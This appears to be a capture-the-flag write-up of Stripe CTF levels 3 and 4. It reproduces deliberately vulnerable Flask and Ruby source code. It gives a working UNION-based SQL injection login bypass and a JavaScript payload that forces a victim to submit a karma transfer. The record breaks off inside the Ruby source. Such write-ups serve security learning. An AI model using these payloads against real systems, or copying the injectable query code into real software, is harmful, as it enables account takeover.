<a name="n76" href="https://stripe-ctf.com/levels/3#n76"></a>76
<a name="n77" href="https://stripe-ctf.com/levels/3#n77"></a>77
<a name="n78" href="https://stripe-ctf.com/levels/3#n78"></a>78
<a name="n79" href="https://stripe-ctf.com/levels/3#n79"></a>79
<strong><a name="n80" href="https://stripe-ctf.com/levels/3#n80"></a>80</strong>
<a name="n81" href="https://stripe-ctf.com/levels/3#n81"></a>81
<a name="n82" href="https://stripe-ctf.com/levels/3#n82"></a>82
<a name="n83" href="https://stripe-ctf.com/levels/3#n83"></a>83
<a name="n84" href="https://stripe-ctf.com/levels/3#n84"></a>84
<a name="n85" href="https://stripe-ctf.com/levels/3#n85"></a>85
<a name="n86" href="https://stripe-ctf.com/levels/3#n86"></a>86
<a name="n87" href="https://stripe-ctf.com/levels/3#n87"></a>87
<a name="n88" href="https://stripe-ctf.com/levels/3#n88"></a>88
<a name="n89" href="https://stripe-ctf.com/levels/3#n89"></a>89
<strong><a name="n90" href="https://stripe-ctf.com/levels/3#n90"></a>90</strong>
<a name="n91" href="https://stripe-ctf.com/levels/3#n91"></a>91
<a name="n92" href="https://stripe-ctf.com/levels/3#n92"></a>92
<a name="n93" href="https://stripe-ctf.com/levels/3#n93"></a>93
<a name="n94" href="https://stripe-ctf.com/levels/3#n94"></a>94
<a name="n95" href="https://stripe-ctf.com/levels/3#n95"></a>95
<a name="n96" href="https://stripe-ctf.com/levels/3#n96"></a>96
<a name="n97" href="https://stripe-ctf.com/levels/3#n97"></a>97
<a name="n98" href="https://stripe-ctf.com/levels/3#n98"></a>98
<a name="n99" href="https://stripe-ctf.com/levels/3#n99"></a>99
<strong><a name="n100" href="https://stripe-ctf.com/levels/3#n100"></a>100</strong>
<a name="n101" href="https://stripe-ctf.com/levels/3#n101"></a>101
<a name="n102" href="https://stripe-ctf.com/levels/3#n102"></a>102
<a name="n103" href="https://stripe-ctf.com/levels/3#n103"></a>103
<a name="n104" href="https://stripe-ctf.com/levels/3#n104"></a>104</pre>
</td>
<td>
<pre>#!/usr/bin/env python
#
# Welcome to the Secret Safe!
#
# - users/users.db stores authentication info with the schema:
#
# CREATE TABLE users (
#   id VARCHAR(255) PRIMARY KEY AUTOINCREMENT,
#   username VARCHAR(255),
#   password_hash VARCHAR(255),
#   salt VARCHAR(255)
# );
#
# - For extra security, the dictionary of secrets lives
#   data/secrets.json (so a compromise of the database won't
#   compromise the secrets themselves)

import flask
import hashlib
import json
import logging
import os
import sqlite3
import subprocess
import sys
from werkzeug import debug

# Generate test data when running locally
data_dir = os.path.join(os.path.dirname(__file__), 'data')
if not os.path.exists(data_dir):
    import generate_data
    os.mkdir(data_dir)
    generate_data.main(data_dir, 'dummy-password', 'dummy-proof', 'dummy-plans')

secrets = json.load(open(os.path.join(data_dir, 'secrets.json')))
index_html = open('index.html').read()
app = flask.Flask(__name__)

# Turn on backtraces, but turn off code execution (that'd be an easy level!)
app.config['PROPAGATE_EXCEPTIONS'] = True
app.wsgi_app = debug.DebuggedApplication(app.wsgi_app, evalex=False)

app.logger.addHandler(logging.StreamHandler(sys.stderr))
# use persistent entropy file for secret_key
app.secret_key = open(os.path.join(data_dir, 'entropy.dat')).read()

# Allow setting url_root if needed
try:
    from local_settings import url_root
except ImportError:
    pass

def absolute_url(path):
    return url_root + path

@app.route('/')
def index():
    try:
        user_id = flask.session['user_id']
    except KeyError:
        return index_html
    else:
        secret = secrets[str(user_id)]
        return (u'Welcome back! Your secret is: "{0}"'.format(secret) +
                u' (&lt;a href="./logout"&gt;Log out&lt;/a&gt;)\n')

@app.route('/logout')
def logout():
    flask.session.pop('user_id', None)
    return flask.redirect(absolute_url('/'))

@app.route('/login', methods=['POST'])
def login():
    username = flask.request.form.get('username')
    password = flask.request.form.get('password')

    if not username:
        return "Must provide username\n"

    if not password:
        return "Must provide password\n"

    conn = sqlite3.connect(os.path.join(data_dir, 'users.db'))
    cursor = conn.cursor()

    query = """SELECT id, password_hash, salt FROM users
               WHERE username = '{0}' LIMIT 1""".format(username)
    cursor.execute(query)

    res = cursor.fetchone()
    if not res:
        return "There's no such user {0}!\n".format(username)
    user_id, password_hash, salt = res

    calculated_hash = hashlib.sha256(password + salt)
    if calculated_hash.hexdigest() != password_hash:
        return "That's not the password for {0}!\n".format(username)

    flask.session['user_id'] = user_id
    return flask.redirect(absolute_url('/'))

if __name__ == '__main__':
    # In development: app.run(debug=True)
    app.run()</pre>
</td>
</tr>
</tbody>
</table>
And here&#8217;s <code>index.html</code>, the HTML file it&#8217;s serving:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/3#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/3#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/3#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/3#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/3#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/3#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/3#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/3#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/3#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/3#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/3#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/3#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/3#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/3#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/3#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/3#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/3#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/3#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/3#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/3#n20"></a>20</strong>
<a name="n21" href="https://stripe-ctf.com/levels/3#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/3#n22"></a>22
<a name="n23" href="https://stripe-ctf.com/levels/3#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/3#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/3#n25"></a>25
<a name="n26" href="https://stripe-ctf.com/levels/3#n26"></a>26
<a name="n27" href="https://stripe-ctf.com/levels/3#n27"></a>27
<a name="n28" href="https://stripe-ctf.com/levels/3#n28"></a>28
<a name="n29" href="https://stripe-ctf.com/levels/3#n29"></a>29
<strong><a name="n30" href="https://stripe-ctf.com/levels/3#n30"></a>30</strong>
<a name="n31" href="https://stripe-ctf.com/levels/3#n31"></a>31
<a name="n32" href="https://stripe-ctf.com/levels/3#n32"></a>32
<a name="n33" href="https://stripe-ctf.com/levels/3#n33"></a>33
<a name="n34" href="https://stripe-ctf.com/levels/3#n34"></a>34</pre>
</td>
<td>
<pre>&lt;html&gt;
  &lt;body&gt;
    &lt;p&gt;
      Welcome to the Secret Safe, a place to guard your most
      precious secrets! To retreive your secrets, log in below.
    &lt;/p&gt;

    &lt;p&gt;The current users of the system store the following secrets:&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;bob: Stores the password to access level 04&lt;/li&gt;
      &lt;li&gt;eve: Stores the proof that P = NP &lt;/li&gt;
      &lt;li&gt;mallory: Stores the plans to a perpetual motion machine &lt;/li&gt;
    &lt;/ul&gt;

    &lt;p&gt;
      You should use it too!
      &lt;a href="http://www.youtube.com/watch?v=oHg5SJYRHA0"&gt;Contact us&lt;/a&gt;
      to request a beta invite.
    &lt;/p&gt;

    &lt;form method="POST" action="./login"&gt;
      &lt;p&gt;
        &lt;label for="username"&gt;Username:&lt;/label&gt;
        &lt;input type="text" name="username" id="username"&gt;
      &lt;/p&gt;
      &lt;p&gt;
        &lt;label for="password"&gt;Password:&lt;/label&gt;
        &lt;input type="password" name="password" id="password"&gt;
      &lt;/p&gt;
      &lt;input type="submit" value="Recover your secrets now!"&gt;
    &lt;/form&gt;
  &lt;/body&gt;
&lt;/html&gt;</pre>
</td>
</tr>
</tbody>
</table>
&nbsp;

<strong>Solution</strong>

This is a Python (Flask) powered webserver. You need to read secrets of <strong>bob </strong>here. Authentication mechanism is good, as it has hashing and salts. Line 86 and 87 do a Query which is not prepared statements, so you can simply inject it. It looks like Prepared Statements but it&#8217;s actually C style format string.

Now line 93-97 checks for validity of password. First it is salted (user_entered_password+salt), then SHA256 hash is applied on it, converted to hex digits, and compared against the hexed password which is stored in the database.

All we need to do, is make this query return user_id of bob, SHA256 of <strong>foo</strong>, and empty string as salt. Then we could easily provide the password <strong>foo </strong>and expect it to be correct for bob!

A simple union bypassing will do that. First go online and calculate SHA256(&#8220;pass&#8221;) using zillions of free online tools, then input password as <strong>pass</strong> and username as the following injection:
<blockquote>&#8216; and 1=0 union all select (select id from users where username=&#8217;bob&#8217;), &#8216;d74ff0ee8da3b9806b18c877dbf29bbde50b5bd8e4dad7a3a725000feb82e8f1&#8242;,&#8221; &#8211;</blockquote>
The above text is a single-line one. It makes the whole query become:
<pre>SELECT id, password_hash, salt FROM users
               WHERE username = '{0}' and 1=0 union all select (select id from users where username='bob'),'d74ff0ee8da3b9806b18c877dbf29bbde50b5bd8e4dad7a3a725000feb82e8f1','' -- ' LIMIT 1</pre>
Since the first select returns nothing (due to AND 1=0 condition), union jumps off and the second query&#8217;s result is returned as the whole result set. The second query returns bob_user_id,SHA256(&#8216;pass&#8217;),empty_slat respectively.

The &#8212; part makes sure that everything that comes after our injection is commented and has no effect (will not cause SQL error).

Now you are logged in as bob, and you can simply view his secret.

&nbsp;

&nbsp;

<!--more-->

&nbsp;

&nbsp;
<h3><strong>Challenge 4 &#8211; Simple CSRF</strong></h3>
You completed this level in 1182.214 seconds. The password was<code>XtoqkPHnaM</code>. The solution you submitted was: <code>create base user abx create a user with this pass: var x=document.forms[0]; x.to.value='abx'; x.amount.value='1'; x.submit(); send karma to fountain with that one, wait one minute. login to abx</code>

<hr />

The Karma Trader is the world&#8217;s best way to reward people for good deeds: <strong><a href="https://level04-4.stripe-ctf.com/user-bivlappzeh" target="_blank">https://level04-4.stripe-ctf.com/user-bivlappzeh</a></strong>. You can sign up for an account, and start transferring karma to people who you think are doing good in the world. In order to ensure you&#8217;re transferring karma only to good people, transferring karma to a user will also reveal your password to him or her. The very active user <strong>karma_fountain</strong> has infinite karma, making it a ripe account to obtain (no one will notice a few extra karma trades here and there). The password for <strong>karma_fountain</strong>&#8216;s account will give you access to Level 5. You can obtain the full, runnable source for the Karma Trader from<code>git clone https://level04-4.stripe-ctf.com/user-bivlappzeh/level04-code</code>. We&#8217;ve included the most important files below. The contents of <code>srv.rb</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/4#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/4#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/4#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/4#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/4#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/4#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/4#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/4#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/4#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/4#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/4#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/4#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/4#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/4#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/4#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/4#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/4#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/4#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/4#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/4#n20"></a>20</strong>
<a name="n21" href="https://stripe-ctf.com/levels/4#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/4#n22"></a>22
<a name="n23" href="https://stripe-ctf.com/levels/4#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/4#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/4#n25"></a>25
<a name="n26" href="https://stripe-ctf.com/levels/4#n26"></a>26
<a name="n27" href="https://stripe-ctf.com/levels/4#n27"></a>27
<a name="n28" href="https://stripe-ctf.com/levels/4#n28"></a>28
<a name="n29" href="https://stripe-ctf.com/levels/4#n29"></a>29
<strong><a name="n30" href="https://stripe-ctf.com/levels/4#n30"></a>30</strong>
<a name="n31" href="https://stripe-ctf.com/levels/4#n31"></a>31
<a name="n32" href="https://stripe-ctf.com/levels/4#n32"></a>32
<a name="n33" href="https://stripe-ctf.com/levels/4#n33"></a>33
<a name="n34" href="https://stripe-ctf.com/levels/4#n34"></a>34
<a name="n35" href="https://stripe-ctf.com/levels/4#n35"></a>35
<a name="n36" href="https://stripe-ctf.com/levels/4#n36"></a>36
<a name="n37" href="https://stripe-ctf.com/levels/4#n37"></a>37
<a name="n38" href="https://stripe-ctf.com/levels/4#n38"></a>38
<a name="n39" href="https://stripe-ctf.com/levels/4#n39"></a>39
<strong><a name="n40" href="https://stripe-ctf.com/levels/4#n40"></a>40</strong>
<a name="n41" href="https://stripe-ctf.com/levels/4#n41"></a>41
<a name="n42" href="https://stripe-ctf.com/levels/4#n42"></a>42
<a name="n43" href="https://stripe-ctf.com/levels/4#n43"></a>43
<a name="n44" href="https://stripe-ctf.com/levels/4#n44"></a>44
<a name="n45" href="https://stripe-ctf.com/levels/4#n45"></a>45
<a name="n46" href="https://stripe-ctf.com/levels/4#n46"></a>46
<a name="n47" href="https://stripe-ctf.com/levels/4#n47"></a>47
<a name="n48" href="https://stripe-ctf.com/levels/4#n48"></a>48
<a name="n49" href="https://stripe-ctf.com/levels/4#n49"></a>49
<strong><a name="n50" href="https://stripe-ctf.com/levels/4#n50"></a>50</strong>
<a name="n51" href="https://stripe-ctf.com/levels/4#n51"></a>51
<a name="n52" href="https://stripe-ctf.com/levels/4#n52"></a>52
<a name="n53" href="https://stripe-ctf.com/levels/4#n53"></a>53
<a name="n54" href="https://stripe-ctf.com/levels/4#n54"></a>54
<a name="n55" href="https://stripe-ctf.com/levels/4#n55"></a>55
<a name="n56" href="https://stripe-ctf.com/levels/4#n56"></a>56
<a name="n57" href="https://stripe-ctf.com/levels/4#n57"></a>57
<a name="n58" href="https://stripe-ctf.com/levels/4#n58"></a>58
<a name="n59" href="https://stripe-ctf.com/levels/4#n59"></a>59
<strong><a name="n60" href="https://stripe-ctf.com/levels/4#n60"></a>60</strong>
<a name="n61" href="https://stripe-ctf.com/levels/4#n61"></a>61
<a name="n62" href="https://stripe-ctf.com/levels/4#n62"></a>62
<a name="n63" href="https://stripe-ctf.com/levels/4#n63"></a>63
<a name="n64" href="https://stripe-ctf.com/levels/4#n64"></a>64
<a name="n65" href="https://stripe-ctf.com/levels/4#n65"></a>65
<a name="n66" href="https://stripe-ctf.com/levels/4#n66"></a>66
<a name="n67" href="https://stripe-ctf.com/levels/4#n67"></a>67
<a name="n68" href="https://stripe-ctf.com/levels/4#n68"></a>68
<a name="n69" href="https://stripe-ctf.com/levels/4#n69"></a>69
<strong><a name="n70" href="https://stripe-ctf.com/levels/4#n70"></a>70</strong>
<a name="n71" href="https://stripe-ctf.com/levels/4#n71"></a>71
<a name="n72" href="https://stripe-ctf.com/levels/4#n72"></a>72
<a name="n73" href="https://stripe-ctf.com/levels/4#n73"></a>73
<a name="n74" href="https://stripe-ctf.com/levels/4#n74"></a>74
<a name="n75" href="https://stripe-ctf.com/levels/4#n75"></a>75
<a name="n76" href="https://stripe-ctf.com/levels/4#n76"></a>76
<a name="n77" href="https://stripe-ctf.com/levels/4#n77"></a>77
<a name="n78" href="https://stripe-ctf.com/levels/4#n78"></a>78
<a name="n79" href="https://stripe-ctf.com/levels/4#n79"></a>79
<strong><a name="n80" href="https://stripe-ctf.com/levels/4#n80"></a>80</strong>
<a name="n81" href="https://stripe-ctf.com/levels/4#n81"></a>81
<a name="n82" href="https://stripe-ctf.com/levels/4#n82"></a>82
<a name="n83" href="https://stripe-ctf.com/levels/4#n83"></a>83
<a name="n84" href="https://stripe-ctf.com/levels/4#n84"></a>84
<a name="n85" href="https://stripe-ctf.com/levels/4#n85"></a>85
<a name="n86" href="https://stripe-ctf.com/levels/4#n86"></a>86
<a name="n87" href="https://stripe-ctf.com/levels/4#n87"></a>87
<a name="n88" href="https://stripe-ctf.com/levels/4#n88"></a>88
<a name="n89" href="https://stripe-ctf.com/levels/4#n89"></a>89
<strong><a name="n90" href="https://stripe-ctf.com/levels/4#n90"></a>90</strong>
<a name="n91" href="https://stripe-ctf.com/levels/4#n91"></a>91
<a name="n92" href="https://stripe-ctf.com/levels/4#n92"></a>92
<a name="n93" href="https://stripe-ctf.com/levels/4#n93"></a>93
<a name="n94" href="https://stripe-ctf.com/levels/4#n94"></a>94
<a name="n95" href="https://stripe-ctf.com/levels/4#n95"></a>95
<a name="n96" href="https://stripe-ctf.com/levels/4#n96"></a>96
<a name="n97" href="https://stripe-ctf.com/levels/4#n97"></a>97
<a name="n98" href="https://stripe-ctf.com/levels/4#n98"></a>98
<a name="n99" href="https://stripe-ctf.com/levels/4#n99"></a>99
<strong><a name="n100" href="https://stripe-ctf.com/levels/4#n100"></a>100</strong>
<a name="n101" href="https://stripe-ctf.com/levels/4#n101"></a>101
<a name="n102" href="https://stripe-ctf.com/levels/4#n102"></a>102
<a name="n103" href="https://stripe-ctf.com/levels/4#n103"></a>103
<a name="n104" href="https://stripe-ctf.com/levels/4#n104"></a>104
<a name="n105" href="https://stripe-ctf.com/levels/4#n105"></a>105
<a name="n106" href="https://stripe-ctf.com/levels/4#n106"></a>106
<a name="n107" href="https://stripe-ctf.com/levels/4#n107"></a>107
<a name="n108" href="https://stripe-ctf.com/levels/4#n108"></a>108
<a name="n109" href="https://stripe-ctf.com/levels/4#n109"></a>109
<strong><a name="n110" href="https://stripe-ctf.com/levels/4#n110"></a>110</strong>
<a name="n111" href="https://stripe-ctf.com/levels/4#n111"></a>111
<a name="n112" href="https://stripe-ctf.com/levels/4#n112"></a>112
<a name="n113" href="https://stripe-ctf.com/levels/4#n113"></a>113
<a name="n114" href="https://stripe-ctf.com/levels/4#n114"></a>114
<a name="n115" href="https://stripe-ctf.com/levels/4#n115"></a>115
<a name="n116" href="https://stripe-ctf.com/levels/4#n116"></a>116
<a name="n117" href="https://stripe-ctf.com/levels/4#n117"></a>117
<a name="n118" href="https://stripe-ctf.com/levels/4#n118"></a>118
<a name="n119" href="https://stripe-ctf.com/levels/4#n119"></a>119
<strong><a name="n120" href="https://stripe-ctf.com/levels/4#n120"></a>120</strong>
<a name="n121" href="https://stripe-ctf.com/levels/4#n121"></a>121
<a name="n122" href="https://stripe-ctf.com/levels/4#n122"></a>122
<a name="n123" href="https://stripe-ctf.com/levels/4#n123"></a>123
<a name="n124" href="https://stripe-ctf.com/levels/4#n124"></a>124
<a name="n125" href="https://stripe-ctf.com/levels/4#n125"></a>125
<a name="n126" href="https://stripe-ctf.com/levels/4#n126"></a>126
<a name="n127" href="https://stripe-ctf.com/levels/4#n127"></a>127
<a name="n128" href="https://stripe-ctf.com/levels/4#n128"></a>128
<a name="n129" href="https://stripe-ctf.com/levels/4#n129"></a>129
<strong><a name="n130" href="https://stripe-ctf.com/levels/4#n130"></a>130</strong>
<a name="n131" href="https://stripe-ctf.com/levels/4#n131"></a>131
<a name="n132" href="https://stripe-ctf.com/levels/4#n132"></a>132
<a name="n133" href="https://stripe-ctf.com/levels/4#n133"></a>133
<a name="n134" href="https://stripe-ctf.com/levels/4#n134"></a>134
<a name="n135" href="https://stripe-ctf.com/levels/4#n135"></a>135
<a name="n136" href="https://stripe-ctf.com/levels/4#n136"></a>136
<a name="n137" href="https://stripe-ctf.com/levels/4#n137"></a>137
<a name="n138" href="https://stripe-ctf.com/levels/4#n138"></a>138
<a name="n139" href="https://stripe-ctf.com/levels/4#n139"></a>139
<strong><a name="n140" href="https://stripe-ctf.com/levels/4#n140"></a>140</strong>
<a name="n141" href="https://stripe-ctf.com/levels/4#n141"></a>141
<a name="n142" href="https://stripe-ctf.com/levels/4#n142"></a>142
<a name="n143" href="https://stripe-ctf.com/levels/4#n143"></a>143
<a name="n144" href="https://stripe-ctf.com/levels/4#n144"></a>144
<a name="n145" href="https://stripe-ctf.com/levels/4#n145"></a>145
<a name="n146" href="https://stripe-ctf.com/levels/4#n146"></a>146
<a name="n147" href="https://stripe-ctf.com/levels/4#n147"></a>147
<a name="n148" href="https://stripe-ctf.com/levels/4#n148"></a>148
<a name="n149" href="https://stripe-ctf.com/levels/4#n149"></a>149
<strong><a name="n150" href="https://stripe-ctf.com/levels/4#n150"></a>150</strong>
<a name="n151" href="https://stripe-ctf.com/levels/4#n151"></a>151
<a name="n152" href="https://stripe-ctf.com/levels/4#n152"></a>152
<a name="n153" href="https://stripe-ctf.com/levels/4#n153"></a>153
<a name="n154" href="https://stripe-ctf.com/levels/4#n154"></a>154
<a name="n155" href="https://stripe-ctf.com/levels/4#n155"></a>155
<a name="n156" href="https://stripe-ctf.com/levels/4#n156"></a>156
<a name="n157" href="https://stripe-ctf.com/levels/4#n157"></a>157
<a name="n158" href="https://stripe-ctf.com/levels/4#n158"></a>158
<a name="n159" href="https://stripe-ctf.com/levels/4#n159"></a>159
<strong><a name="n160" href="https://stripe-ctf.com/levels/4#n160"></a>160</strong>
<a name="n161" href="https://stripe-ctf.com/levels/4#n161"></a>161
<a name="n162" href="https://stripe-ctf.com/levels/4#n162"></a>162
<a name="n163" href="https://stripe-ctf.com/levels/4#n163"></a>163
<a name="n164" href="https://stripe-ctf.com/levels/4#n164"></a>164
<a name="n165" href="https://stripe-ctf.com/levels/4#n165"></a>165
<a name="n166" href="https://stripe-ctf.com/levels/4#n166"></a>166
<a name="n167" href="https://stripe-ctf.com/levels/4#n167"></a>167
<a name="n168" href="https://stripe-ctf.com/levels/4#n168"></a>168
<a name="n169" href="https://stripe-ctf.com/levels/4#n169"></a>169
<strong><a name="n170" href="https://stripe-ctf.com/levels/4#n170"></a>170</strong>
<a name="n171" href="https://stripe-ctf.com/levels/4#n171"></a>171
<a name="n172" href="https://stripe-ctf.com/levels/4#n172"></a>172
<a name="n173" href="https://stripe-ctf.com/levels/4#n173"></a>173
<a name="n174" href="https://stripe-ctf.com/levels/4#n174"></a>174
<a name="n175" href="https://stripe-ctf.com/levels/4#n175"></a>175
<a name="n176" href="https://stripe-ctf.com/levels/4#n176"></a>176
<a name="n177" href="https://stripe-ctf.com/levels/4#n177"></a>177
<a name="n178" href="https://stripe-ctf.com/levels/4#n178"></a>178
<a name="n179" href="https://stripe-ctf.com/levels/4#n179"></a>179
<strong><a name="n180" href="https://stripe-ctf.com/levels/4#n180"></a>180</strong>
<a name="n181" href="https://stripe-ctf.com/levels/4#n181"></a>181
<a name="n182" href="https://stripe-ctf.com/levels/4#n182"></a>182
<a name="n183" href="https://stripe-ctf.com/levels/4#n183"></a>183
<a name="n184" href="https://stripe-ctf.com/levels/4#n184"></a>184
<a name="n185" href="https://stripe-ctf.com/levels/4#n185"></a>185
<a name="n186" href="https://stripe-ctf.com/levels/4#n186"></a>186
<a name="n187" href="https://stripe-ctf.com/levels/4#n187"></a>187
<a name="n188" href="https://stripe-ctf.com/levels/4#n188"></a>188
<a name="n189" href="https://stripe-ctf.com/levels/4#n189"></a>189
<strong><a name="n190" href="https://stripe-ctf.com/levels/4#n190"></a>190</strong>
<a name="n191" href="https://stripe-ctf.com/levels/4#n191"></a>191
<a name="n192" href="https://stripe-ctf.com/levels/4#n192"></a>192
<a name="n193" href="https://stripe-ctf.com/levels/4#n193"></a>193
<a name="n194" href="https://stripe-ctf.com/levels/4#n194"></a>194
<a name="n195" href="https://stripe-ctf.com/levels/4#n195"></a>195
<a name="n196" href="https://stripe-ctf.com/levels/4#n196"></a>196
<a name="n197" href="https://stripe-ctf.com/levels/4#n197"></a>197
<a name="n198" href="https://stripe-ctf.com/levels/4#n198"></a>198
<a name="n199" href="https://stripe-ctf.com/levels/4#n199"></a>199
<strong><a name="n200" href="https://stripe-ctf.com/levels/4#n200"></a>200</strong>
<a name="n201" href="https://stripe-ctf.com/levels/4#n201"></a>201
<a name="n202" href="https://stripe-ctf.com/levels/4#n202"></a>202
<a name="n203" href="https://stripe-ctf.com/levels/4#n203"></a>203
<a name="n204" href="https://stripe-ctf.com/levels/4#n204"></a>204
<a name="n205" href="https://stripe-ctf.com/levels/4#n205"></a>205
<a name="n206" href="https://stripe-ctf.com/levels/4#n206"></a>206
<a name="n207" href="https://stripe-ctf.com/levels/4#n207"></a>207
<a name="n208" href="https://stripe-ctf.com/levels/4#n208"></a>208
<a name="n209" href="https://stripe-ctf.com/levels/4#n209"></a>209
<strong><a name="n210" href="https://stripe-ctf.com/levels/4#n210"></a>210</strong>
<a name="n211" href="https://stripe-ctf.com/levels/4#n211"></a>211
<a name="n212" href="https://stripe-ctf.com/levels/4#n212"></a>212
<a name="n213" href="https://stripe-ctf.com/levels/4#n213"></a>213
<a name="n214" href="https://stripe-ctf.com/levels/4#n214"></a>214
<a name="n215" href="https://stripe-ctf.com/levels/4#n215"></a>215
<a name="n216" href="https://stripe-ctf.com/levels/4#n216"></a>216
<a name="n217" href="https://stripe-ctf.com/levels/4#n217"></a>217
<a name="n218" href="https://stripe-ctf.com/levels/4#n218"></a>218
<a name="n219" href="https://stripe-ctf.com/levels/4#n219"></a>219
<strong><a name="n220" href="https://stripe-ctf.com/levels/4#n220"></a>220</strong>
<a name="n221" href="https://stripe-ctf.com/levels/4#n221"></a>221
<a name="n222" href="https://stripe-ctf.com/levels/4#n222"></a>222
<a name="n223" href="https://stripe-ctf.com/levels/4#n223"></a>223
<a name="n224" href="https://stripe-ctf.com/levels/4#n224"></a>224
<a name="n225" href="https://stripe-ctf.com/levels/4#n225"></a>225
<a name="n226" href="https://stripe-ctf.com/levels/4#n226"></a>226
<a name="n227" href="https://stripe-ctf.com/levels/4#n227"></a>227
<a name="n228" href="https://stripe-ctf.com/levels/4#n228"></a>228
<a name="n229" href="https://stripe-ctf.com/levels/4#n229"></a>229
<strong><a name="n230" href="https://stripe-ctf.com/levels/4#n230"></a>230</strong>
<a name="n231" href="https://stripe-ctf.com/levels/4#n231"></a>231
<a name="n232" href="https://stripe-ctf.com/levels/4#n232"></a>232
<a name="n233" href="https://stripe-ctf.com/levels/4#n233"></a>233
<a name="n234" href="https://stripe-ctf.com/levels/4#n234"></a>234
<a name="n235" href="https://stripe-ctf.com/levels/4#n235"></a>235
<a name="n236" href="https://stripe-ctf.com/levels/4#n236"></a>236
<a name="n237" href="https://stripe-ctf.com/levels/4#n237"></a>237
<a name="n238" href="https://stripe-ctf.com/levels/4#n238"></a>238
<a name="n239" href="https://stripe-ctf.com/levels/4#n239"></a>239
<strong><a name="n240" href="https://stripe-ctf.com/levels/4#n240"></a>240</strong>
<a name="n241" href="https://stripe-ctf.com/levels/4#n241"></a>241
<a name="n242" href="https://stripe-ctf.com/levels/4#n242"></a>242
<a name="n243" href="https://stripe-ctf.com/levels/4#n243"></a>243
<a name="n244" href="https://stripe-ctf.com/levels/4#n244"></a>244
<a name="n245" href="https://stripe-ctf.com/levels/4#n245"></a>245</pre>
</td>
<td>
<pre>#!/usr/bin/env ruby
require 'yaml'
require 'set'

require 'rubygems'
require 'bundler/setup'

require 'sequel'
require 'sinatra'

module KarmaTrader
  PASSWORD = File.read('password.txt').strip
  STARTING_KARMA = 500
  KARMA_FOUNTAIN = 'karma_fountain'

  # Only needed in production
  URL_ROOT = File.read('url_root.txt').strip rescue ''

  module DB
    def self.db_file
      'karma.db'
    end

    def self.conn
      @conn ||= Sequel.sqlite(db_file)
    end

    def self.init
      return if File.exists?(db_file)
      File.umask(0066)

      conn.create_table(:users) do
        primary_key :id
        String :username
        String :password
        Integer :karma
        Time :last_active
      end

      conn.create_table(:transfers) do
        primary_id :id
        String :from
        String :to
        Integer :amount
      end

      # Karma Fountain has infinite karma, so just set it to -1
      conn[:users].insert(
        :username =&gt; KarmaTrader::KARMA_FOUNTAIN,
        :password =&gt; KarmaTrader::PASSWORD,
        :karma =&gt; -1,
        :last_active =&gt; Time.now.utc
        )
    end
  end

  class KarmaSrv &lt; Sinatra::Base
    set :environment, :production
    enable :sessions

    # Use persistent entropy file
    entropy_file = 'entropy.dat'
    unless File.exists?(entropy_file)
      File.open(entropy_file, 'w') do |f|
        f.write(OpenSSL::Random.random_bytes(24))
      end
    end
    set :session_secret, File.read(entropy_file)

    helpers do
      def absolute_url(path)
        KarmaTrader::URL_ROOT + path
      end
    end

    # Hack to make this work with a URL root
    def redirect(url)
      super(absolute_url(url))
    end

    def die(msg, view)
      @error = msg
      halt(erb(view))
    end

    before do
      refresh_state
      update_last_active
    end

    def refresh_state
      @user = logged_in_user
      @transfers = transfers_for_user
      @trusts_me = trusts_me
      @registered_users = registered_users
    end

    def update_last_active
      return unless @user
      DB.conn[:users].where(:username =&gt; @user[:username]).
        update(:last_active =&gt; Time.now.utc)
    end

    def logged_in_user
      return unless username = session[:user]
      DB.conn[:users][:username =&gt; username]
    end

    def transfers_for_user
      return [] unless @user

      DB.conn[:transfers].where(
        Sequel.or(:from =&gt; @user[:username], :to =&gt; @user[:username])
        )
    end

    def trusts_me
